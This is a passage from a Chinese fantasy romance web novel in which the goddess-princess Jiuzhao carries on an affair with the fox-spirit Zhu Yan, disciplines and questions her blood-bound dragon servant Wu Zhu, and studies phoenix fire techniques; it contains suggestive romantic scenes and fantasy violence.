不仅如此,他还愿意变出尾巴和耳朵,以供九昭肆意揉弄。 他远比正常状态下还要顺从听话,却比正常状态下更加痴缠粘人。 同盖一条衾被,他契着九昭,从苏醒到入睡都不肯退出。 又在九昭受不了,决定狠下心拒绝时,半抬着柔光盈盈的翡翠瞳无言望她。 拿不开,也放不下。 腰酸腿软的九昭,第一次明白了为何人间的话本,总把吸人精气的妖怪设定为狐狸。 偶尔索取狠了,她会攀着祝晏的脊背,大骂他不知羞耻。 可是。 怎么会这么舒服。 她从未与一个男人这么合拍过。 若非父神仔仔细细替她调查过,这么多年,祝晏从未亲近过任何女色。 九昭简直要以为他是身经百战的风流浪子。 “从对殿下一见钟情开始,晏便想着,以后若有幸被殿下看中,一定要好好伺候殿下……” 说这句话时,九昭的身体悬在祝晏的颊上,热意随着呼吸四处飘散开。她支撑自身的双腿颤伶伶地晃动着,腿肚打战,又逢青年喑哑而期待的话音自裙摆下方传来。 “殿下还不坐吗,臣已经准备好了。” …… 是狐狸精。 肯定是狐狸精! 虽然这么想不对,但九昭忍不住庆幸,还好祝晏的体内有个弱症。 她被摁着厮混了几个时辰,终于想到借口,以与琼英王约定的治疗时间快到为名,想要从境阙中出去,然而这次,杏杳却好巧不巧,在她没离开前就站到了紧闭的殿门外。 九昭满心放在敞着中衣,亦步亦趋跟着自己,半点不愿分开的青年上。 冷不丁殿门打开,杏杳连同她悬空欲敲的手出现在眼前。 “啊!!” “啊!!” 反应过后,两人不约而同发出声尖叫。 后方,窘迫万分的祝晏连忙转过身,两手并用束起中衣的系带。 “九昭殿下,你你你你你——” 瞧见杏杳的表情远比自己要激动,那种强烈的赧然感反倒被压了下去。 九昭正了正略显凌乱的衣襟,倏忽坦荡起来:“这么大惊小怪做什么,反正本殿是要与祝晏成婚的。本殿记得,杏杳你比父神还要大几千岁,要不还是趁没那么老,赶紧找个夫婿吧—— “免得回去以后,反复回忆这一幕,晚上欲焰焚身睡不着。” 这都哪儿跟哪儿! 反复告诫内心,对方是神姬殿下,自己惹不起也躲不起的杏杳,头回差点想要破口大骂。 她提着裙摆,跨过门槛,大步冲到九昭脸上。 奈何个头过矮,以至于仰起头,单手指着对方的动作看起来气势全无。 “你一个才活了四万岁不到的小丫头,谁告诉你我老到现在从来没有过仙侣!” “哦?” 九昭来了兴趣,也没计较她的冒犯言语,“谁跟你在一起,不就变成喜爱女童的变/态了吗?” 杏杳被她气得直哆嗦:“我是因为不小心试错了药,才会变成少女的模样!” “嗯嗯,所以是谁啊? “堂堂杏杳天仙的风流韵事,本殿真的好想知晓。” 九昭揶揄着杏杳,越发好奇她背后的故事。 然而下一瞬,却见对方仿佛回忆起来什么,面上飞快闪过一丝情绪。 猛地住了口,转过身去。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 91| 第91章 ◎“我都能听到。”◎ 杏杳没停步。 像是害怕化身好奇宝宝的九昭会继续盘问下去, 她直接从境阙里离开了。 “……” 九昭不过是抱着八卦可听可不听的态度,没想到对方会有这么大反应。 窘迫几息后,她扭头同祝晏抱怨:“这老仙姑莫不是被从前的情人狠狠伤透了心, 否则怎么跟被踩到尾巴炸毛的猫咪似的?杏杳给你医治这么久, 你就没有听到过她的半点陈年往事?” 背对着她的祝晏,将衣带系了很久。 等到被人撞破情事的羞耻红意,自面颊褪去大半,才转过来回答:“倒是不曾听仙长提起。” “也对, 若真有狗血泼天的爱恨纠葛,早就传遍三清天了,不至于如现在这般风平浪静。” 九昭没有细究祝晏的话, 她一面摩挲自己的下颌,一面怀疑地自言自语,“难道她的老情人不是神仙——是在芸生世游历采药的过程中,遇见的什么凡人走卒?” “这也很难说, 毕竟杏杳仙长常在芸生世一待便是数百年。” 按照一贯的个性, 祝晏没有反驳九昭, 肯定完她的揣测后,又温声提醒道, “殿下, 不管杏杳仙长的旧爱为神仙还是凡人,看样子多半是她的伤心事, 她若不愿意说, 我们还是不提起的好。” 九昭随意点点头:“她有恩于你, 就算真跟凡人有牵扯, 我也姑且帮她隐瞒了。” 毕竟天令规定, 神仙不能爱上凡人或魔族。 这件传闻真要说出去, 哪怕没有证据,杏杳日后想要自由下界,怕也不太可能。 她忆及这点,低声补充一句:“人也就算了……只要没爱上魔族,总归不是大事。” 杏杳的情史,仅是小事一桩。 闲话过自不必再提。 九昭又折返近身,替祝晏撩起颊边滑落的碎发。 本想一吻告别,耳边却突然响起青年的询问:“殿下很讨厌魔族吗?” 九昭抬到一半的脖颈微止。 好端端的,就算想要多留自己一会儿,怎还能找出这么蹩脚的话题? 她娇嗔的白眼睨过去,向来很会察言观色的祝晏反倒自顾自说着,“晏曾经不知听谁提起,说神仙和魔族一起被祖神娘娘创造出来,本是同根生——魔族并非生性就残忍嗜杀,只因焚业海于上古时期,被投入了太多无法消解的心魔执念,才一步步将他们催化成为如今的模样。 “若能散去焚业海那些经年积累的怨力,世间便不必再分神仙魔族,抑或邪恶正义。 “殿下怎么看?” 考虑到境阙内除了彼此再无他人,九昭没有贸然打断祝晏的话语。 她耐着性子听了下来,本以为祝晏会继续认同自己“杏杳不爱魔族就不算大错”的看法。 谁料他竟说出这些视天令如无物的悖逆之辞。 她陷落在恋爱中的幸福面容倏而凝结起来。 审视片刻祝晏,问道:“你从哪儿听来的这些不着边际的话?” “似乎,也不是听谁提起,大约是在芸生世的几本无名古书中看到。” 见九昭态度如此严肃,祝晏即刻露出失言的歉意表情,“是晏说错话了,殿下别生气。” “我没有生气,这话不是你传出去的,书也不是你写的,我对你发脾气做什么。” 两人的身体交叠着,面容近在咫尺,是即将吻上去的姿势。 这种情况下,讨论正事总有些怪异。 九昭后撤几步,来到闭合的格窗前,用叉竿将其支起。 神力幻化的暖融阳光照射进来,弹指间散去了殿内欢靡而沉闷的气息。 九昭双手撑住窗台,沉吟片刻,同祝晏说起内心的想法: “若是巫劭和凤凰族没有叛天,我或许不会如此讨厌魔族。曾经的仙魔两族各自占据三清天和焚业海,几十万年间,虽偶有摩擦,但大体上井水不犯河水。 “可如今,无论是巫劭为业尊,还是——” 她的话音停了停,又若无其事地说起那个名字,“还是后面继任的兰祁,他们秣兵历马,野心勃勃,堪堪万年就带领魔族主动挑起了数次战事。既要战,那便战,有生之年我定要将他们打到彻底臣服,再也不兴风作浪为止!还有那些唾骂背弃我母神的凤凰族,我会让他们通通赎罪!” 望着穹顶日光,九昭的话音带着年轻的锋芒和一往无前的凌厉。 她克制着心头滚滚的杀意和征服欲,以尽量平静的态度诉诸自己的野望,却不曾注意到身后的祝晏,秾丽脸上无声浮现的,同离开时的杏杳一般别无二致的表情。 “以后这些话,不要对任何人说起,知道吗?” 结束心事的挥洒,再回眸,九昭的双眸恢复对待爱人的纵容和温柔。 她不忍自己身上过于锋利的部分,将与世无争万年的祝晏割伤。 见祝晏沉默颔首,她再度轻步过去,吻了吻他的薄唇:“那我先走了,你好好休息。” …… 离开长乐命牌,祝晏遽然提起的魔族话题,却叫九昭想到了另一件耽搁的事情。 沉溺温柔乡数月,烛龙又隐匿在灵台深处无声无息。 以至于九昭忘记了,将它唤出来问一问凝出颌下珠的进展。 她回到丹瑄宫,确保四周无人,才盘腿打坐在床上,闭上双眼。 然而那往日一唤就会骂骂咧咧出现的赤红小龙,今日直到九昭失去耐心,才磨蹭着显形。 不知是否为错觉,九昭总觉得它浑身的鳞片越发红了。 特别是龙首上细密龙鳞,简直红得如同火烧。 总不能是生病了吧? 九昭为自己下意识冒出的念头恶寒一阵。 莫说半神会不会生病,便是病了又如何,只要还有一口气,都得先挖出颌下珠。 她打量烛龙片刻,硬着声调问道:“我已彻底恢复,能跑能跳,你的颌下珠还有多久才好?” 这些日子,她闲着无事,也翻阅了一些记载烛龙平生事迹的典籍。 一方面想要了解清楚颌下珠的功效,另一方面更欲进一步研究如何才能将它杀死。 从那些琼英王收藏着的典籍里,她深刻认识到,仙和神间的差距,不仅仅在于力量的多少。只要没有晋升成为上神一日,她就根本无法彻底杀死烛龙,甚至连它的防御都很难破开。 更遑论取出颌下珠。 神的陨落,只来自天道和另一位神。 如此想来,她当日闯入无日渊的行为还是莽撞。 若不借助雷罚、瀛罗和体内神力的帮助,恐怕有本命翎保护,都得殒身当场。 想明白这点,九昭对于当初烛龙猫捉老鼠般的戏弄就越是恨得牙痒痒。 见灵台中的烛龙久久沉默,不肯回答,她又故技重施,在它四周建立起长有尖刺的墙壁,将它狠狠摔打一通,硬生生撞下不少晶亮龙鳞,才道:“我知晓就算取走你的颌下珠,你也不会真的死去,顶多重伤休养千年,你如今生存在我体内,吃我的用我的,还不速速将珠子呈上!” 烛龙好不容易才生长完全的一身鳞片,经由九昭惩罚,再次变得坑坑洼洼。 其实毕生都在渴望飞升成龙的蛟族,有个不为外人所知的秘密。 那便是鳞片为求偶时,母蛟是否愿意倾心的一项重要判断标准。 尽管烛龙没想过找条母蛟作为伴侣,但受到体内血脉影响,保养鳞片可称得上它唯一爱好。 区别于上次叫它暴跳如雷的摔打。 这一次,本该同样怒火中烧的内心,却在九昭声声不绝的斥骂中,浮出另一个场景。 它是盲龙。 无法亲眼见证,只能借由声音,再结合想象,把毕生难以看到的画面填补完全。 “慢、慢些,阿晏……” “殿下,晏听闻芸生世的习俗,女子会在爱侣名讳之后,加一‘郎’字,您也这般唤我可好?” “唔,哪里学来的这些、不着调的话,我、可叫不出口……” “男子对于心爱的女子,也会有一亲昵的称呼,殿下猜猜是什么?” “你这样箍着我,我脑子热得、快要融化了,哪里还有心思,去想别的……” “是‘娘’……昭娘,我的昭娘,可有人这样唤过你?” “别、别贴着我的耳朵叫,祝晏、祝晏,我今日只怕是要死在这里了——” “昭娘,你该叫我什么?” “唔——!!” “晏郎、晏郎——” …… 如果可以,烛龙很想给自己来上一爪子。 或者把头颅劈开,取出其中的脑子,用清洁术冲洗干净。 可它越告诫自己,不要去幻想跟仇人之女有关的一切事宜。 九昭同祝晏的对话,便越是清晰地回荡在耳畔,盘旋在大脑。 当日,为了偷听仙族的秘密,它利用了血契的缺漏,没有主动告知九昭,血契一旦建立,血仆便能够通过受血者的听觉、视觉、嗅觉、触觉、味觉,去感知外面的世界。 虽双眼有疾,无法借由九昭的眼睛看清外面。 它却蛰伏在她的灵台中,将许多不该听的对话听了一遍又一遍。 那双四处游走,煽风点火的手叫它绷直龙躯。 情热过脑时,诚实表达自身感受的言语,更叫它瞪大无神的双眼。 这三个月,烛龙感觉自己快要疯了。 如此磋磨,并不疼痛,反倒比任何惩罚都叫人难以承受。 眼下,它趴在灵台构建的坚硬地面上,浑身快要散架。 肌肉却随着九昭投射的缩小身影走进,而变得坚硬滚烫起来。 “你死了吗?” “怎么不说话?” 对于不听话的血仆,九昭不介意召唤出打神鞭来好好教会它规矩。 她抬高手臂,指尖使力,鞭尾马上就要落在龙身上时。 烛龙却突然抬起头来,与她“对视”:“你可知晓,你每晚同那九尾狐族祝晏做的事,我都能听到?” 92| 第92章 ◎“共感。”◎ 烛龙突如其来的反问, 叫九昭手腕猛地一顿。 那原本控制力道打落的鞭子也失去分寸,只一下就在烛龙躯体上抽出一道血痕来。 忍痛闷哼响起的同时,鲜红的龙血倾洒在地面上, 刺激得九昭瞳孔缩了缩。 她转眼想到, 血契的建立就意味着血仆与自身性命相连,自己不会死,烛龙也就不会死—— 况且,现在的烛龙不过是栖居在灵台内的一抹元身, 在未凝结出可以触碰到肉身前,灵台内的惩罚并不会真正让它受伤,顶多感受到等量的疼痛而已。 她定了定因烛龙之言而剧烈动荡的心神, 表情越发冰冷,质问:“你又在耍什么诡计?” “这是血契缔结者间特有的牵系,叫做‘共感’,也是三界许多人都知晓的常识。” 烛龙高高仰起的头颅没有因为剧痛而俯落, 它缓了片刻, 从仍在打战的利齿中抖出不冷不热的话音, “难道你修行、的时候,教你如何建立血契的术法老师, 没有、告诉过你这些吗?” 九昭羞恼的情绪又被另一层心虚短暂掩盖。 长烨学宫中, 夫子布置的课业,她一向学得马虎, 不是强迫能够模仿自己字迹的兰祁代劳, 就是第二日上课前争分夺秒抄瀛罗的——血契这等不是最必要的法术, 她怎会记得那么清楚! 她越发气怒, 再度扬起打神鞭, 口不择言:“就算我忘了一些内容, 你作为我的血仆,难道不应该提醒自家主人吗?还是你堂堂半神烛龙,本来就是个下/贱/坯子,喜欢偷听别人墙角?!” 九昭骂一句,抽一鞭子。 直将烛龙抽得细长龙躯在地面翻滚几圈,再不复先前冷静对峙的姿态。 血液染红纯净素白的灵台,龙鳞残缺处,那虬结精悍的肌肉寸寸绷紧。 作用在元身上的无形攻击,是成倍累积的痛。 叫在漫长的三清天生活中,受惯了他人施加的痛楚和折磨的烛龙,也有些忍不住。 但这剧烈的痛楚,细细品尝之下,又透着股说不出来的滋味。 同战斗时受到的损伤不一样。 同仙力冲击、毒药侵蚀、体术殴打、劈砍针刺、悬吊挤压…都不一样。 烛龙只觉得身体某处起了变化。 那变化叫它无所适从。 可无论如何,它也知晓,若将这点变化说出口,只怕九昭会立刻不管不顾跟自己拼命。 它一声不吭承受着狂风暴雨般的鞭打。 等到九昭抽累了,放下甩鞭的手臂,才倒在血泊中,有气无力地哈哈大笑起来:“主人、主人——主人不妨好好想想,这几个月以来,你有哪天、是同祝晏、那只,那只公狐狸精分开的——你们搂抱着、翻滚在床榻上时,难道我从脑子里冒出来,提醒你? “还是他唤你‘昭娘’的时候,我跟着、跟着说,昭娘我也能听见—— “又或者在你哭着、喊着说慢些的时候,我突然现身提醒你、主人,不要、不要纵情过度?” 在民风彪悍开放的焚业海久居,烛龙的话句句皆是令九昭难以招架的粗俗。 她恨得跺脚急道:“小心本殿下拔掉你的舌头——!!” “主人、请便——” 在一顿接着一顿的挨打中,烛龙摸索出了些同九昭相处的经验。 反正只是忍痛而已,她又不能在短时间内真正干掉自己。 它低眉顺眼张开尖吻,细长如蛇类的紫红色信子吐出——分明没做什么,但九昭借由它先前的恶劣语境,无端联想到了祝晏低声诱哄着她,让她放下腿,坐在他颊上时的情形。 面孔红得几欲滴血。 九昭又恶狠狠将它打了几鞭后,意识到不能这样被烛龙牵着鼻子走。 她微微喘气,干脆动用起受血者的能力,命令道:“把你隐瞒未告知的事情都告诉我。” 作用生效,凤凰图腾在烛龙的双眼亮起。 喉咙蠕动着,马上就要被迫发出声音。 利爪趁着九昭不注意,狠狠刺进自己的躯体,借着如巨浪般再度用来的剧痛,它在几息间短暂收获了身体的自控权利,随即对大脑下达指令:反正隐瞒的事那么多,就从无关紧要的说起。 一瞬后,它表现出臣服,沙哑悦耳的青年音传入九昭耳际:“主人让我、交代隐瞒的事情,那实在太多了,让我、让我想想……哦,想起来了不少,其实我的大名,不叫烛龙—— “战神巫劭将我视作、半个养子,特地择选了他名中一字,又因我乃三清天驱、驱逐不容之人,且‘逐’与‘烛’为同音,所以亲赐我名‘巫逐’——志在、提醒我,身虽被逐,志不可逐。 “我是天地间,唯一一条火系的真龙,区别于其他水系的龙族……没成神之前,我为蛟身,来源于、那个不知名的父亲的血脉,仙力则源于母亲曦葵将军,她原身是、是火系碧鸾。 “我原身长达百尺,能够变换出人形。哦……还有,主人大概、不知道吧,我的眼睛,是当年、在仙魔交战中,被御驾亲征的嗣辰神帝,运用神力弄瞎的,再也无法恢复。 “叛天的神仙,想要蜕变成为魔族,都要忍受、业火的层层灼烧,才能涤尽身体仙气,过程中、可能丧命,唯有我因半神半魔的缘故,无需经历这道、这道磋磨,便可自由转换体内力量。” 巫逐絮絮叨叨,说的的确都是九昭不知道的事情。 但九昭越听越暴躁。 这些她是不知道——可知道了又有什么用?!叫烛龙还是巫逐,对于杀死它有影响吗,还是她叫一声巫逐,它便能像民间的话本里一般,被收进紫金葫芦中去,抑或被镇压在五指山底! “够了!” 她压着眉峰,不耐烦地出声打断。 既明白巫逐在跟自己兜圈子,她单刀直入道:“说吧,怎么才能隔绝共感的牵系?” “只要在我体内、下道屏障禁制就可以。” 面对这个问题,巫逐回答得很快。 九昭垂落眼帘,额头青筋直跳的间隔里,它无声舒了口气。 好险,鸡毛蒜皮的小事快要诉尽。 若九昭还想听下去,就该说出不该说的了。 血契自古以来,都建立在强大者对弱小自己者的压制中,九昭以天仙之身,同半神建立契约,全靠当时觉醒的半副神力——如今神力消退,缩于丹田不出,她并不知道,自己面对神力在逐渐恢复的巫逐,失去了全然的主导权,几个月前,巫逐得对她的询问知无不言,言无不尽。 如今,力量越是增长,它就越不必完全受到九昭的控制。 这种不受控,反应在九昭逼它吐露心声上,若强行驱使它的身体,它还是不得不为之。 因此,巫逐也不怕九昭在自己体内下禁制。 只要它想,它偶尔也可以突破仙力屏障,共感外界,只不过按照目前的情况,大概一个月才能反抗九昭一次,这个月的,它已经用在了对九昭保留一半血契的秘密上。 …… 得到答案,九昭迅速往巫逐额心注入了一道,目前能使出的最高阶禁制。 她冷眼旁观着对方的龙脸,因着过于霸道的仙力而几经扭曲,才问出来时的问题: “所以,按照我仙力恢复的情况,你还有多久能取出自己的颌下珠?” 出于对血契法则的绝对信任,九昭不认为这几个问题,巫逐能够欺骗自己。 果然,不多时,她从巫逐那里听到了一道低微的声音:“我现在,只是元身的状态,没有躯体,颌下珠自然也、拿不出来……总得,再要三四十年,待我凝出、凝出一具新的龙躯才行。 “当然,主人你、仙力恢复得越快,我龙躯的凝结速度,也会、也会越快。” 这个答案,九昭不算太满意。 但她眼下不过堪堪能跑能跳,在无日渊一战中受到的身体损伤,想彻底恢复也要许久时光。 罢了。 只要能在隐居的百年内,完成所有的要紧事,就没什么大不了。 九昭安慰完自己,丢下巫逐,退出入定状态。 …… 巫逐的话,虽有刻意挑衅,叫人难堪之嫌,但九昭还是反省起了这段日子的所作所为。 当初应承父神会担负起储君的责任,要学习的事务和修进的课程,就意味着多出不少。 在南陵休养的一百年尽管不甚漫长,但也不该荒废。 她认认真真思考一番,又与祝晏促膝长谈,约定每七日见面一次,其余时间都用来修习。 通过琼英王,九昭将自己的想法上禀给神帝。 神帝十分欣慰,没过几日便由丹曛带领,秘密遣送了几位心腹仙官来到南陵。 无所事事的九昭弹指忙碌起来。 早晨学习政务,下午勤练仙术,晚上又要躺在千华牡丹幂下接受治疗。 时日推移,岁月匆匆流逝。 期间,她还悄悄潜入西海,探望了下瀛罗。 瀛罗躺在滋养水系仙力的万年寒玉床上,不曾有片刻醒来。 根据杏杳交代,他借着九昭的本命翎庇护,才勉强在雷罚中捡回了一条命。 锋利而苍白的耳鳍,十指间粘连着的、匕首似的蹼爪,以及下半身取代双腿的六尺长尾,那长尾不复仙力充盈时的流光绚烂,鳞片层层炸开,无一不显示着他的受伤程度有多严重。 九昭感谢祖神娘娘庇佑,让他得以活下来,可内心忍不住泛滥开无数自责的情绪。她将南陵进献给自己的大半珍贵仙药留在世子邸,临到离开时,又撞见“恰好”过来看望儿子的西神王。 “殿下,您不必为此感到自责,作为臣子,对君上尽忠,是我们生来的职责。” 西神王流戈对待她十分和气。 哪怕躺在床上差点死去的,是自己寄托厚望的嫡子,依然笑眼半眯。 在他的安慰声中,九昭诚恳相告:“请神王放心,本殿一定会想办法叫瀛罗恢复如初。” “殿下与瀛罗之间的深厚情谊,真叫老臣感动。” 西神王装模作样用袖子揩了揩眼角,话锋一转道,“既然瀛罗愿为殿下付出一切,殿下也将瀛罗当成交心的知音,殿下有没有考虑过,将犬子瀛罗纳入离恨天?” 93| 第93章 ◎“本殿并非那等忘恩负义之徒。”◎ “哈? “神王是不是误会了什么? “本殿待瀛罗, 直如亲姐、亲兄妹一般。” 为着同神帝约定过,在百年之期到来前,不将商议过的所有事情外泄。 九昭这才没提起自己早已心有所属, 那人便是祝晏。 不过西神王的请求在她看来, 也是有够离谱。 从前瀛罗为女子时,他就曾把主意打到扶胥身上。后瀛罗变成男子,不满全为利益的婚事,不惜当众自毁名声——瀛罗的态度已经如此明显, 西神王竟然还不死心,把主意打到自己头上。 面对九昭不解的眼神,西神王仍旧笑容可掬:“男大当婚, 女大当嫁,那芸生世的传统亦是如此,先成家后立业,瀛罗身边若是连个照顾他、支持他的人都没有, 叫臣如何放心得下。” 这老一套的说法, 瀛罗在彼此谈心时曾绘声绘色转述过。 如今再听一遍, 九昭倏忽有些感同身受。 这跟当初自己被扶胥逼迫着,答应如有必要须得联姻各族, 迎娶三夫四侍有何区别? 说到底, 都是为了稳固世子以及将来神王的地位,确保西海在四神王势力中不至沦为末流。 理智上, 九昭理解西神王的顾虑。 但情感上, 她首先是瀛罗的好友。 她放缓神容, 态度和煦地对他道:“神王多虑了, 瀛罗天资出众, 又与本殿一起长大, 既是君臣更是竹马,就算无人支持,本殿也会支持——只要本殿在一日,定能保他顺遂无忧。” 她一番话说得推心置腹,不存半点隐瞒试探,只叫西神王的神色多出几分宽怀。 不过这种情绪没在他的脸上停留太久,像是想到了什么,他再次抿住上扬的唇角。 片刻后,才委婉道:“有殿下这句话,臣就放心了,希望哪怕来日瀛罗犯下过错,殿下也能念及他对待殿下的一片赤忱之心,和舍生忘死之举,宽宥他一二。” 这些还用他说? 只要不是造反,她有什么不能原谅瀛罗。 “这是自然。” 九昭不假思索地答应下来,“本殿并非那等忘恩负义之徒。” …… 叙话时间不长,稍后还有课业,九昭告辞离去。 第二日便是与祝晏七日一次的相会,她在长乐命牌内闲谈说起此事。 “我去瞧瀛罗时,他依旧昏迷着,躺在寒玉床上连人身都无法保持,双腿退化回鲛尾模样。” 九昭叹了口气,心口堵堵的,抬眸询问祝晏,“你说他这么为我,我该回报他些什么好?” 九昭前往西海乃一时兴起,不曾提前知会祝晏。 因着瀛罗的特殊身份,她更无半点不该背着未婚夫单独看望异性好友的觉悟。 默默消化完这个让人嫉妒,又无法挑明的残忍事实,祝晏只得再次戴上宽和大度的假面,仿佛同样将瀛罗视作朋友十分关心对方那般,为九昭分析起来,“其实殿下有没有想过,瀛罗世子反感西神王为他安排的婚事,背后的根本原因是什么? “晏认为,西神王句句不提照顾支持,多半在替瀛罗世子选择婚事时,仅仅考虑了对方的门当户对程度。而没有从世子的角度出发,思考他会喜欢什么样的女子。譬如世子钟意温柔成熟之人,西神王却替他寻了年轻活泼的重瑶宗姬,也难怪世子会不喜,最后逐渐演变成抵触抗拒。” 祝晏的三言两语,为九昭开辟了一条不曾设想的道路。 她依稀记得,在很多很多年前,某个常曦殿同床共枕的夜晚,彼此曾聊起过喜欢的类型。 那时的九昭满心满眼都是兰祁,喜欢的类型,自然也是按照兰祁的性格来描述。 温和、隐忍、包容性强、能够做自己人生路上引导者的男子。 那时,那时的瀛罗,也分享过只言片语。 是什么来着—— 殿内的气氛一时趋于缄默,祝晏递出去的话无人接下。 他以为是自己的用意表现得太过鲜明,被九昭发现,又或者这个提议,九昭并不满意。 随即低下头去,观察起枕在自己双腿上的神姬殿下的神情。 却见她眼珠稍稍飘转,显然沉浸在回忆之中。 祝晏识趣地安静下来,没再出声打扰。 不知过了多久,九昭终于想起。 瀛罗倒是没提喜欢男子还是女子。 只说很羡慕他母亲的处事风格,爱上父王时轰轰烈烈嫁给他,发觉他风流成性的本性,又二话不说合离,回到自己的部族自由度日。快意生平,敢爱敢恨,不为外物所扰,只有全心全意。 若遇到这样性格的人,他多半会一见倾心,也如母亲般不顾一切在一起。 瀛罗的择偶条件,若他不在世子之位,想要找个合意的仙侣多半不难。 可坏就坏在,西神王考虑的人选不是出自贵族大部,便是天然身份高贵,他们有着许许多多的考量,利益、名声、权位、部族的排序,通通要放在感情前头——难怪瀛罗难以忍受。 通过祝晏的点播,九昭发觉自己似乎真正掌握了瀛罗违背父亲意愿,破坏联姻的原因。 “假设真相就是你说的这样,你觉得,我该怎么做才好?” 她由躺改坐,从祝晏的大腿上直起身来,目光灼灼地盯着他,顺道肯定他的想法。 祝晏暗自欢喜,佯装沉吟过后,试探着说道:“殿下同瀛罗世子相识万余年,有着一同长大的情谊,大概也很了解世子的个性吧?您可知晓世子平时倾心什么样的女子—— “您私下先替他留意着合适人选,待到世子醒来,给他一个惊喜,如若他满意,您也可以跳过西神王这一层,上秉帝座,由帝座颁旨赐婚,这样也避免了瀛罗世子被迫迎娶自己不喜欢的人。” 九昭越想越觉得有理。 便双手捧住他的面孔,凑过去狠狠给了个吻:“你可真是我的解语草!” 祝晏半启牙关,轻轻咬了咬她的唇瓣,笑问:“殿下,何为解语草?” “芸生世的凡人将善解人意的美女称作‘解语花’,向来以花比喻女子,你如此善解人意,又生得美丽,只不过是男子——那可不就是‘解语草’?” 九昭忍不住同他一起笑。 …… 春去东来,星霜变迁。 几十年于凡人而言,如同半生。 可神仙的寿数漫长,当忙碌于事,忘我其中,时日的推移更如同白驹过隙。 又是一年春日,南陵花开遍野。 在将丹瑄宫的每一片砖瓦,都染上馥郁花香的熏风里,九昭坐在内殿,曲起的膝头放着本神帝从爱妻留下的遗物中,好不容易翻找出来的、有关凤凰族术法的古旧书籍。 凤凰族的事物印信,早在几万年前通通被毁去。他们的领地被神帝做主,划分给统管南陵的琼英王,只剩下枯萎的凤凰神树周边的一小块土地,被封印看管起来,不叫任何人踏足。 唯有神后因身份特殊,其随身的物品,才得以被神帝珍而重之地封存在寝宫深处。 九昭的仙力已经彻底恢复。 接下来就是将颌下珠融入凤凰神树,将它重新催开,然后闭入其中,修炼涅槃凤火的事宜。 虽半身水系神力的融入,叫九昭多了几分把握。 但此事,不仅仅关系她的性命,更涉及三清天的未来安定,必得慎之再慎。 这些年,九昭每每与神帝的半身虚像见面,总觉他鬓间的白发又多了几缕。 爱妻的早逝,神力的损耗,政务的繁忙,正在加速着神帝的衰老。 想要维持年轻的容貌、矫健的身材,对于神仙而言不费吹灰之力。 可头发颜色的变化,却是力量强大如上神,也无法更改。 这是祖神穹煌在创造神仙时融入的特性,除了某些种族特殊,天生白发的神仙外,正常的黑发人形,寿数减少、力量衰退,都会导致白发增多。 就算可以短暂改变发色,回归本体,那抹雪白依旧不会消退。 全白,意味着寿数将尽。 初见时,祝晏不到四万岁,过于年轻,是而九昭只以为他是种族之故,没有想到这一层。 九昭忧心着神帝的身体状况,更想早日练成涅槃凤火,登顶神位,为父亲分忧。 她看书看得专注,翻页的速度极慢。 连女婢打开殿门,为她呈上午后小憩的茶水和糕点也不曾注意。 看了大半本后,她的眸间涌现如获珍宝的喜悦。 “原来是这样…… “竟然是这样! “凤凰神树上的涅槃火,又被称为元初之火,能够焚化世间一切,哪怕强悍如上神之躯,亦难以阻挡,这也是从前的凤凰族能够成为三清天第一大族的原因—— “凤凰族习得的最高阶涅槃凤火,便是传承自元初之火,虽则力量上无法达到极致,却也因为削弱,而有了新的特性,即毁灭与涅槃。毁灭无需多作解释,即杀死敌人,摧毁阻碍。 “而涅槃,不只是能够淬体人躯赋予重生,亦可修复没有生命的外物,如武器、珍宝——” 九昭一字一字念着,眼眸越来越亮。 只要能够将涅槃凤火练到最高阶,她不仅可以治好祝晏的弱症,就连瀛罗在无日渊战役中折损的本命仙器玉剑,亦有希望修复。 数十年过去,瀛罗虽然始终未醒,但在杏杳的治疗和针灸下,仙识已能对外界做出反应。 据杏杳所言,这是醒过来的前兆。 另外,比起找了又找,无法做到方方面面皆完美的未来西神王妃。 似乎复原玉剑更加容易些。 九昭将书页做了个记号,方便下次阅读时能够立刻找到。 借着,她传仙讯给琼英王,命她派人前往西海,先借来瀛罗的玉剑。 与此同时,她的脑海中,传出一道不情不愿的声音: “主人,你现在身边有人吗? “我想要出来一下。” 94| 第94章 ◎“既想要,我便给你。”◎ “你出来什么, 外面人多眼杂的,难道我不能进——” 去吗。 最后两个字没说完,九昭脑中的某根弦倏然绷紧。 唯有拥有躯干的血仆, 才能从灵台中出来。 从灵台中出来, 就意味着,终于可以取出颌下珠。 “!!” 好事成双,自己这边才有了如何对付巫逐的头绪。 那边它就自动送上门来,要献上最后一丝利用价值。 九昭按捺着内心的激动, 不忘谨慎行事。 她释放出隔绝声息的仙力禁制,将寝殿里里外外悉数封上,脑子里又响起巫逐略带嘲讽的声音:“费这个功夫做什么, 主人莫不是忘了,只要你不想,外人是看不见血仆的。” “这还用你说。” 这回,九昭没有任何被人发现自己不学无术的心虚。 日上课夜修习, 她刻苦了几十年, 时刻谨记着储君的职责, 早就将当初落下的课业补上,有关血契的内容, 更是翻来覆去研究了十来遍, 早就背诵得滚瓜烂熟。 血契有言,位卑者为血仆, 受位高者掌控, 不可有反过来的逆向契约, 否则恐生倾覆之险。 九昭是知道这点的。 当年凭借半身神力, 稀里糊涂地强制巫逐缔结契约。 这些年, 随着她身体和力量的恢复, 巫逐元身的神力也在逐渐强盛。她始终提防着它,如今手中的书籍指出一条明路,能够消灭这条隐患,叫九昭如何不欣喜。 她合上书本,藏入储物戒中,转头奉送给巫逐一个白眼,催促着它赶紧出来。 …… 可偏偏说要出来的是它,得到九昭允许后,磨磨蹭蹭始终不现身的也是它。 “你再不出来,自有打神鞭进去‘迎接’你出来。” 对付巫逐,不需要费什么脑子,九昭磨着虎牙,用上惯常的威胁方式。 却不想收到来自对方略显忸怩的一句:“急什么!” 巫逐的话音落下不多时,九昭长久被异物占据的灵台竟像是空了大半。 一道与她仙力气息相近的赤光,沿着额心投射在眼前空地上。 光辉萦绕的中央,似龙似蛇的细长躯体逐渐变短变粗。 不出半炷香的时间,凝结成青年男子的模样。 从遇到巫逐开始,九昭的认知里,它就是一条罪龙,最大的区别不过是外形时大时小。 因为没见过人身,九昭也只将它当做空有神力,全无人性的牲畜。 眼下定睛一瞧,她方发觉巫逐的人形皮相,倒有些蛊惑人的意味。 黑鸦鸦的发,红沉沉的眼。 因为半身魔血的缘故,他光洁的额头右侧立着一根无法遮掩的兽化角,左侧因为早年被九昭掰断的缘故,再也无法长出来,只剩下一点点残缺的硬质根部。 修眉凤目,鼻梁挺拔。 其中最惹人注目的,当初下唇畔赤红的美人痣。 这叫他在属于成年男子的英挺俊美之外,又多了点说不清道不明的色/气。 